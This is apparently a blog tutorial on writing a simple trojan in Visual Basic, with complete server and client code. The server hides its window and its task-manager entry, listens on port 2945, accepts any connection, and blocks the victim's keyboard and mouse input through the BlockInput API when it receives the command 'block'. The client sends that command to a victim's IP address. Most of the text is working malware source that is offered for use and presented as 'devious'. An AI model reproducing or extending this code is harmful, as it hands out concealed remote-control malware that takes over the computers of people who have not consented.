Visual Basic is an easy programming language.So easy that most of
advanced programmers don't even compare it to behemoths like
C/Pascal/C++/
PERL etc.But it seriously packs punch due to its ease in programming and predefined
procedures.Earlier wrote on how to
lock keyboard and mouse using VB. This time I will be discussing on how to write a simple trojan in
VB
.Writing a Trojan is a lot easier than most people think. All it really
involves is two simple applications both with fewer than 100 lines of
code. The first application is the client or the program that one user
knows about. The second is the server or the actual “
trojan” part. I will now go through what you need for both and some sample code.
Server
The
server
is the Trojan part of the program. You usually will want this to be as
hidden as possible so the average user can’t find it. To do this you
start by using
Private Sub Form_Load()
Me.Visible = False
End Sub
This little bit of code makes the program invisible to the naked eye. Now we all know that the
task manager is a little bit peskier. So to get our application hidden from that a little better we make our code look like this.
Private Sub Form_Load()
Me.Visible = False
App.TaskVisible = False
End Sub
So
now, we have a program that is virtually invisible to the average user,
and it only took four lines of code. Now all of you are thinking that
this
tutorial sucks right about now so lets make it a lot better by adding functions to our Trojan!
The
first thing we want to do is make it be able to listen for connections
when it loads. So in order to do this we need to add a
Winsock Control. I named my control win but you can name yours what ever.
Now to make it listen on port 2945 when the Trojan starts up we make our code look like this.
Private Sub Form_Load()
Me.Visible = False
App.TaskVisible = False
win.LocalPort = 2945
win.RemotePort = 455
win.Listen
End Sub
This
code will set the local open port to 2945 and the port it sends it to
is 455. So now, we have a program that listens but still doesn’t do
anything neat. Lets make it block the input of the user completely when
we tell it to!
To do this little devious thing we need to add a module with the following code
Public Declare Function BlockInput Lib "user32" (ByVal fBlock As Long) As Long
Then we add this code to our main form:
Private Sub win_ConnectionRequest(ByVal requestID As Long)
win.Close
win.Accept requestID
End Sub
Private Sub win_DataArrival(ByVal bytesTotal As Long)
win.GetData GotDat
DoActions (GotDat)
End Sub
The code in the module is called a
windows
API. It uses a dll file to do tasks that we want. Now this code still
won’t block the users input but we are very close. We now need to
program the
DoActions function that we called on our main form.
In case you were wondering the code that we added to the form does two
different things. The first sub makes it so all connection requests are
automatically accepted. The second sub makes it so all data is
automatically accepted and it then passes all of the data to the
function
DoActions which we are about to code.
For the
DoActions code, we want to make a public function in the module. So add
this code to the module and we are about done with the server of the
Trojan!
Public Function DoActions(x As String)
Dim Action
Select Case x
Case "block"
Action = BlockInput(True)
End Select
End Function
Ok now we have a program that when the data “
block”
is sent to it on port 2945 it will block the users input. I made a
Select Case statement so it is easy to modify this code to your own
needs later on. I recommend adding a unblock feature of your own. To do
that just call the
BlockInput function with the argument False instead of true.
Main Form
Private Sub Form_Load()
Me.Visible = False
App.TaskVisible = False
win.LocalPort = 2945
win.RemotePort = 455
win.Listen
End Sub
Private Sub win_ConnectionRequest(ByVal requestID As Long)
win.Close
win.Accept requestID
End Sub
Private Sub win_DataArrival(ByVal bytesTotal As Long)
win.GetData GotDat
DoActions (GotDat)
End Sub
Remember to add your winsock control and name it to win if you use this code.
That’s all there is to the server side or Trojan part of it. Now on to the Client.
Client
The
client will be what you will interact with. You will use it to connect
to the remote server (trojan) and send it commands. Since we made a
server that accepts the command of “
block” lets make a client that sends the
command “
block”.
Make a form and add a
Winsock
Control, a text box, and three buttons. The Text box should be named
txtIP if you want it to work with this code. In addition, your buttons
should be named
cmdConnect,
cmdBlockInput, and
cmdDisconnect. Now lets look at the code we would use to make our Client.
Private Sub cmdConnect_Click()
IpAddy = txtIp.Text
Win.Close
Win.RemotePort = 2945
Win.RemoteHost = IpAddy
Win.LocalPort = 9999
Win.Connect
cmdConnect.Enabled = False
End Sub
Private Sub cmdDisconnect_Click()
Win.Close
cmdConnect.Enabled = True
End Sub
Private Sub cmdBlockInput_Click()
Win.SendData "block"
End Sub
That
is the code for the client. All it does is gets the Ip Adress from
txtIp and connects to it on remote port 2945. Then when connected you
can send the “
block” data to block off their input.
This completes the
tutorial to make a simple Trojan in
VB
